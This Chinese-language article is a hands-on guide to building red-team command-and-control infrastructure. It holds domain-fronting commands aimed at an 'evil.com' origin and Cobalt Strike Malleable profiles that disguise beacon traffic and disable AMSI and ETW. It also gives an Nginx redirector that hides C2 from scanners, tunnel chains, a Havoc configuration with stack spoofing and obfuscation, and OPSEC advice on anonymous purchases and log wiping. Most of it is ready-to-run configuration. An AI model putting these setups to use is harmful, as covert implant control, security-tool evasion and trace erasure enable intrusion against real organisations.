一、引言
C2(Command & Control)基础设施是红队行动的神经系统——它决定了控制的隐蔽性、可靠性和弹性。一个成熟的 C2 架构不仅需要让 Beacon 回连到攻击者,更需要在流量层面伪装成正常的互联网通信、抵抗溯源、并在防御方发现后快速切换。本文将从架构设计到实战配置,完整讲述红队 C2 基础设施的搭建艺术。
二、C2 架构设计原则
2.1 分层架构模型
互联网用户(防御方/威胁情报)
↓
[CDN 边缘节点] ← ← ← ← 域名解析到 CDN
↓ ↓ ↓
[重定向器1] [重定向器2] [重定向器3] ← 短期 VPS,可随时销毁
↓ ↓
[Team Server] ← 核心 C2,IP 永不暴露
↓
[操作员控制台]
关键原则:
- 核心 Team Server IP 永不直接暴露给目标环境
- 重定向器是消耗品——被标记后即时替换
- 域名与 CDN 提供流量伪装——混入合法 HTTPS 流量
2.2 流量特征要点
| 特征 | 要求 | 实现方式 |
|---|---|---|
| 协议 | HTTPS/TLS 1.3 | 合法 CA 签发的域名证书 |
| SNI | 高信誉域名 | CDN 边缘节点 SNI 为合法网站 |
| Host Header | 合法域名 | 前端站点 Host 为常见 CDN 域名 |
| JA3/JA4 指纹 | 拟正常浏览器 | 修改 C2 客户端的 TLS 指纹 |
| 心跳间隔 | 随机化抖动 | 加入 ±30% 随机偏差 |
| 载荷大小 | 模拟 API 流量 | JSON/Protobuf 格式,带合法 Header |
三、域名前置(Domain Fronting)
3.1 原理
域名前置利用 CDN 的架构特点:TLS 连接的目标(SNI)与 HTTP Host 头可以不同。高信誉 CDN 域名通过 TLS 层检测,Host 头将请求路由到攻击者后端。
┌──────────────┐ TLS SNI: a.azureedge.net ┌──────────────┐
│ Beacon/Agent │ ─────────────────────────────────>│ Azure CDN │
│ │ Host: evil-backend.azureedge.net │ (高信誉) │
└──────────────┘ <─────────────────────────────────└──────┬───────┘
│
Host 路由到攻击者源站
│
┌──────▼───────┐
│ Team Server │
└──────────────┘
3.2 Cobalt Strike 域名前置配置
Step 1:在 Azure CDN / CloudFront 创建 CDN Endpoint
# Azure CLI 创建 CDN 配置文件
az cdn profile create --name cs-cdn-profile --resource-group RG-RedTeam --sku Standard_Microsoft
# 创建 CDN Endpoint,源站指向真正的 Team Server
az cdn endpoint create \
--name cs-frontend \
--profile-name cs-cdn-profile \
--resource-group RG-RedTeam \
--origin cs-teamserver-redirector.evil.com \
--origin-host-header cs-teamserver-redirector.evil.com \
--enable-compression
Step 2:配置 Malleable C2 Profile
<!-- cs-azure-fronting.profile -->
<!-- Cobalt Strike Malleable C2 Profile -->
<profile>
<!-- 元数据 -->
<set useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"/>
<set jitter="30"/>
<set sleeptime="45000"/>
<!-- HTTPS Beacon 配置 -->
<https-certificate>
<keystore file="certificate.p12" password="RedTeam2024!"/>
</https-certificate>
<http-get uri="/api/v2/updates">
<client>
<!-- 伪装成 GET API 请求 -->
<header name="Accept" value="application/json, text/plain, */*"/>
<header name="Referer" value="https://login.microsoftonline.com/"/>
<header name="X-Request-ID" value="%RANDOM%"/>
<!-- 元数据隐藏在 Cookie 中 -->
<metadata base64url>
<param name="__cf_bm"/>
</metadata>
</client>
<server>
<header name="Content-Type" value="application/json"/>
<header name="Cache-Control" value="no-cache"/>
<output>
<json-data>
<mask>{"status":"ok","updates":[]}</mask>
</json-data>
</output>
</server>
</http-get>
<http-post uri="/api/v2/telemetry">
<client>
<header name="Content-Type" value="application/json"/>
<header name="Accept" value="application/json, text/plain, */*"/>
<id base64url>
<param name="session"/>
</id>
<output base64url>
<mask>{"events":[],"metrics":[]}</mask>
</output>
</client>
<server>
<header name="Content-Type" value="application/json"/>
<output>
<json-data>
<task/>
</json-data>
</output>
</server>
</http-post>
</profile>
Step 3:Beacon 连接配置
# Beacon Listener 配置
HTTPS Hosts: a.azureedge.net # CDN 高信誉域名(SNI)
HTTPS Host (Header): cs-frontend.azureedge.net # 实际路由到后端(Host 头)
HTTPS Port: 443
注意:2023 年后各大云厂商相继禁用域名前置。AWS CloudFront 已于 2024 年彻底封禁。当前推荐使用 CDN 自定义域名 + 合法证书的方式替代。
四、CDN 隐藏架构
4.1 Cloudflare + 自定义域名的现代方案
目标主机 → Cloudflare CDN(合法 SNI)→ Nginx 重定向器 → Team Server
↑
SNI: api.example.com
Host: api.example.com
真实 TLS 证书
Nginx 重定向器配置:
# /etc/nginx/sites-available/c2-redirector
# 1. 仅允许来自 Cloudflare IP 的请求
geo $cloudflare_whitelist {
default 0;
# Cloudflare IPv4 Ranges
173.245.48.0/20 1;
103.21.244.0/22 1;
103.22.200.0/22 1;
103.31.4.0/22 1;
141.101.64.0/18 1;
108.162.192.0/18 1;
190.93.240.0/20 1;
188.114.96.0/20 1;
197.234.240.0/22 1;
198.41.128.0/17 1;
# Cloudflare IPv6 Ranges
2400:cb00::/32 1;
2606:4700::/32 1;
2803:f800::/32 1;
2405:b500::/32 1;
2405:8100::/32 1;
2a06:98c0::/29 1;
2c0f:f248::/32 1;
}
# 2. 过滤 User-Agent(只允许预期 Beacon UA)
map $http_user_agent $is_beacon {
default 0;
"~^Mozilla/5.0.*Chrome/120" 1;
}
server {
listen 443 ssl http2;
server_name api.example.com;
# TLS 配置
ssl_certificate /etc/letsencrypt/live/api.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/api.example.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
# 3. 非 Cloudflare IP → 重定向到合法网站
if ($cloudflare_whitelist != 1) {
return 302 https://www.microsoft.com/;
}
# 4. 非预期 User-Agent → 返回合法前端页面
if ($is_beacon != 1) {
root /var/www/html/legit-site;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
# 5. C2 流量反代到 Team Server
location / {
proxy_pass https://10.10.10.100:443; # Team Server 内网 IP(WireGuard)
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# 限制请求速率,防止扫描器/爬虫
limit_req zone=c2_rate burst=5 nodelay;
limit_req_status 429;
}
}
# 速率限制
limit_req_zone $binary_remote_addr zone=c2_rate:10m rate=1r/s;
4.2 合法前端伪装
<!-- /var/www/html/legit-site/index.html -->
<!-- 伪装成合法的技术博客或 API 文档 -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>API Documentation - Example Corp</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@5/swagger-ui.css">
</head>
<body>
<div id="swagger-ui"></div>
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@5/swagger-ui-bundle.js"></script>
<script>
SwaggerUIBundle({
url: "/api-spec.json",
dom_id: "#swagger-ui",
presets: [SwaggerUIBundle.presets.apis],
layout: "StandaloneLayout"
});
</script>
</body>
</html>
五、多重重定向器链
5.1 架构设计
Beacon
↓
[Cloudflare CDN] → 全球边缘节点,真实 IP 隐藏
↓
[重定向器 Tier 1] → $5/月 VPS (DigitalOcean/Akamai/Linode)
↓ (通过 SOCKS5 或 WireGuard 隧道)
[重定向器 Tier 2] → 另一家云厂商 VPS (Vultr/OVH)
↓ (WireGuard 隧道)
[Team Server] → 物理隔离或隐蔽 VPS,从不直接对外暴露
5.2 Tier 1 重定向器配置
#!/bin/bash
# Tier 1 Redirector: 反向 SOCKS5 隧道
# 在 Team Server 上开启 SOCKS5
# vi /etc/danted.conf
# internal: 10.9.0.1 port = 1080
# external: wg0
# Tier 1 重定向器:启动反向隧道到 Team Server
ssh -N -R 443:localhost:443 \
-o ServerAliveInterval=30 \
-o StrictHostKeyChecking=no \
-i /root/.ssh/redirector_key \
teamserver@10.9.0.1
5.3 WireGuard 隧道层
# /etc/wireguard/wg-redirector.conf
# Tier 2 Redirector 配置
[Interface]
PrivateKey = <Tier2_PrivateKey>
Address = 10.9.0.2/24
ListenPort = 51820
# 转发规则
PostUp = iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.9.0.1:443
PostUp = iptables -A FORWARD -p tcp -d 10.9.0.1 --dport 443 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o wg-redirector -j MASQUERADE
[Peer]
# Team Server
PublicKey = <TeamServer_PublicKey>
AllowedIPs = 10.9.0.1/32
Endpoint = <TeamServer_Public_IP>:51820
PersistentKeepalive = 25
六、Cobalt Strike 实战部署
6.1 Team Server 加固
#!/bin/bash
# Team Server 安全加固脚本
# 在 Ubuntu 22.04 LTS 上执行
# 1. 更新与基础加固
apt update && apt upgrade -y
apt install -y ufw fail2ban auditd
# 2. 防火墙 — 仅允许 WireGuard 和 SSH
ufw default deny incoming
ufw default deny outgoing
ufw allow in on wg0 from 10.9.0.0/24 to any port 50050 proto tcp # CS 控制端口
ufw allow out on wg0 to any
ufw allow in on eth0 from <操作员固定IP> to any port 22 proto tcp # SSH
ufw --force enable
# 3. SSH 加固
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
systemctl restart sshd
# 4. 安装 Java 并限制
apt install -y openjdk-11-jre-headless
# 5. 创建专用用户
useradd -m -s /bin/bash cstrike
# 将 Cobalt Strike 放在 /home/cstrike/cobaltstrike/
# 6. 内存限制(防止 OOM 被探测)
echo "cstrike soft memlock 4096" >> /etc/security/limits.conf
echo "cstrike hard memlock 4096" >> /etc/security/limits.conf
6.2 启动 Team Server
#!/bin/bash
# 启动 Team Server(生产环境)
cd /home/cstrike/cobaltstrike
# 环境变量
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
export PATH=$JAVA_HOME/bin:$PATH
# 使用自定义 Malleable C2 Profile 启动
./teamserver \
10.9.0.1 \
"StrongP@ssw0rd!2024" \
./profiles/cs-azure-fronting.profile \
./profiles/evasion.profile &
# 验证启动
sleep 5
netstat -tlnp | grep 50050
6.3 Malleable C2 高级 Profile
<!-- evasion.profile — 规避检测的高级配置 -->
<profile>
<!-- Stage 配置 -->
<stage>
<set userwx="false"/>
<set compile_time="2024-01-15 09:30:00"/>
<set stomppe="true"/>
<set obfuscate="true"/>
<set smartinject="true"/>
<set cleanup="true"/>
<set module_x64="xpsservices.dll"/>
</stage>
<!-- 进程注入配置 -->
<post-ex>
<set smartinject="true"/>
<set amsi_disable="true"/>
<set etw_disable="true"/>
<pipename comes_from="spoolss" goes_to="spoolss"/>
</post-ex>
<!-- 内存分配特征 -->
<allocator>
<set type="VirtualAlloc"/>
<set clear="true"/>
</allocator>
<!-- 代码执行特征 -->
<execute>
<set blockdlls="true"/>
<set spawnto_x86="%windir%\\syswow64\\dllhost.exe"/>
<set spawnto_x64="%windir%\\sysnative\\dllhost.exe"/>
</execute>
<!-- 进程注入变换 -->
<process-inject>
<inject-options>
<option value="startrwx"/>
<option value="avoidshookdlls"/>
</inject-options>
<transform-x86>
<prepend>\x90\x90\x90\x90</prepend>
</transform-x86>
<transform-x64>
<prepend>\x90\x90\x90\x90</prepend>
</transform-x64>
</process-inject>
</profile>
七、Havoc C2 配置
7.1 Havoc 监听器配置
# Havoc 是开源 C2 替代方案,支持现代规避技术
# ~/.havoc/profiles/demon-default.yaotl
Teamserver:
Host: 10.9.0.1
Port: 40056
Password: "StrongP@ssw0rd!2024"
Listeners:
- Name: HTTPS-CDN
Type: HTTP
Protocol: Https
Hosts:
- api.example.com # CDN 自定义域名
Port: 443
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Headers:
- "Accept: application/json"
- "Cache-Control: no-cache"
Uris:
- "/api/v2/status"
- "/api/v2/config"
- "/api/v2/metrics"
KillDate: "2026-12-31 23:59:59"
Demon:
Sleep: 45
SleepJitter: 15
IndirectSyscalls: true
SleepTechnique: "WaitableTimer"
StackSpoof: true
Obfuscate: true
AmsiEtwPatching: true
7.2 Havoc Team Server 部署
#!/bin/bash
# Havoc C2 部署脚本
# 1. 克隆并编译
git clone https://github.com/HavocFramework/Havoc.git /opt/Havoc
cd /opt/Havoc
# 2. 安装依赖
apt install -y build-essential cmake qtbase5-dev libssl-dev libboost-all-dev
# 3. 编译 Team Server
cd teamserver
make
# 4. 编译客户端
cd ../client
make
# 5. 启动 Team Server
cd /opt/Havoc
./havoc server --profile ./profiles/havoc-c2.yaotl &
# 6. 防火墙规则
ufw allow in on wg0 from 10.9.0.0/24 to any port 40056 proto tcp
八、HTTPS 证书管理
8.1 使用 Let’s Encrypt 获取合法证书
#!/bin/bash
# 获取通配符证书(DNS 验证,无需开放 80 端口)
# 安装 certbot
apt install -y certbot
# 通配符证书 — DNS-01 验证(需要 DNS API 权限)
certbot certonly \
--manual \
--preferred-challenges dns \
--agree-tos \
--email admin@example.com \
-d "*.api.example.com" \
-d "api.example.com"
# 手动添加 TXT 记录 _acme-challenge.api.example.com
# 证书位置
# 证书: /etc/letsencrypt/live/api.example.com/fullchain.pem
# 私钥: /etc/letsencrypt/live/api.example.com/privkey.pem
# 自动续期
echo "0 3 * * * root certbot renew --quiet && systemctl reload nginx" > /etc/cron.d/certbot
8.2 证书指纹注意事项
# 检查 TLS 证书透明度日志
# 使用 crt.sh 查询证书是否被公开记录
# https://crt.sh/?q=%.api.example.com
# 防护措施:
# 1. 使用 CA 不记录 CT Log(Let's Encrypt 记录,需评估风险)
# 2. 购买允许关闭 CT Log 的商业证书
# 3. 部署 CAA DNS 记录限制可签发 CA
example.com. CAA 0 issue "letsencrypt.org"
example.com. CAA 0 issuewild "letsencrypt.org"
九、运维与切换策略
9.1 域名轮换策略
#!/bin/bash
# C2 域名快速切换脚本
# 场景:当前域名被标记,需要切换到备用域名
OLD_DOMAIN="api.example.com"
NEW_DOMAIN="cdn.trustedplatform.io"
# 1. 获取新证书
certbot certonly --dns-cloudflare --agree-tos \
--email admin@trustedplatform.io \
-d "$NEW_DOMAIN"
# 2. 更新 Nginx
sed -i "s/$OLD_DOMAIN/$NEW_DOMAIN/g" /etc/nginx/sites-available/c2-redirector
nginx -t && systemctl reload nginx
# 3. 更新 Cobalt Strike Beacon(通过已有 Beacon 下发)
# 在 CS 客户端中更新 Listener Host,新 Beacon 将自动使用新域名
# 4. 更新 DNS 记录
# Cloudflare API 更新 A 记录指向新的 CDN Endpoint
curl -X PATCH "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/dns_records/$RECORD_ID" \
-H "Authorization: Bearer $CF_TOKEN" \
-H "Content-Type: application/json" \
--data "{\"type\":\"A\",\"name\":\"$NEW_DOMAIN\",\"content\":\"$CDN_IP\",\"ttl\":120,\"proxied\":true}"
9.2 监控与健康检查
#!/usr/bin/env python3
"""C2 基础设施监控"""
import requests
import smtplib
from datetime import datetime
CDN_DOMAIN = "api.example.com"
TEAM_SERVER = "10.9.0.1:50050"
ALERT_EMAIL = "operator@proton.me"
def check_cdn_fronting():
"""检查 CDN 前端是否正常"""
try:
resp = requests.get(
f"https://{CDN_DOMAIN}/api/v2/status",
headers={"User-Agent": "Mozilla/5.0 (...)"},
timeout=10
)
return resp.status_code == 200
except Exception as e:
print(f"[!] CDN check failed: {e}")
return False
def check_team_server():
"""测试 Team Server 连接"""
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect(("10.9.0.1", 50050))
s.close()
return True
except Exception:
return False
if __name__ == "__main__":
issues = []
if not check_cdn_fronting():
issues.append("CDN Frontend unreachable")
if not check_team_server():
issues.append("Team Server unreachable")
if issues:
alert = f"[{datetime.now()}] C2 Infrastructure Alert:\\n" + "\\n".join(issues)
print(alert)
# 发送告警(Telegram/Slack/Email)
十、OPSEC 注意事项
10.1 禁止事项
✗ 不要在 C2 服务器上使用真实身份注册域名
✗ 不要从 C2 服务器直接打开浏览器或安装 GUI
✗ 不要在 C2 服务器上留存其他项目的文件
✗ 不要混用 C2 服务器做渗透测试以外的任何事
✗ 不要使用相同 TLS 证书在不同行动中
✗ 不要在 TLS 证书中暴露真实信息(组织名、邮箱)
10.2 推荐做法
✓ 使用加密货币购买 VPS/域名(Njalla、njal.la)
✓ 所有操作通过 VPN/代理,不与真实 IP 关联
✓ 重定向器按行动周期销毁重建(immutable infrastructure)
✓ 使用 WireGuard 而非 IPSec(更轻量、更难指纹)
✓ 审计日志定期清理、安全删除
✓ 使用 Terraform/Ansible 实现基础设施即代码(IaC),一键重建
十一、总结
一个健壮的 C2 基础设施如同冰山——防御方只能看到水面上的一角(CDN 域名 + 合法 HTTPS 流量),而真正的控制核心深藏于多层重定向和隧道之下。关键要点:
- 分层解耦——Team Server → 重定向器 → CDN,每一层可独立替换
- 流量伪装——Malleable C2 Profile 将 C2 流量注入合法 API 模式
- 证书管理——使用合法 CA 证书,但控制 CT Log 暴露
- 快速切换——域名/证书/重定向器轮换自动化,分钟级完成
- 干净 OPSEC——不留溯源线索,行动结束后全量销毁
基础设施搭建没有银弹——防御水平与日俱增,红队 C2 也需要像 APT 一样持续演进。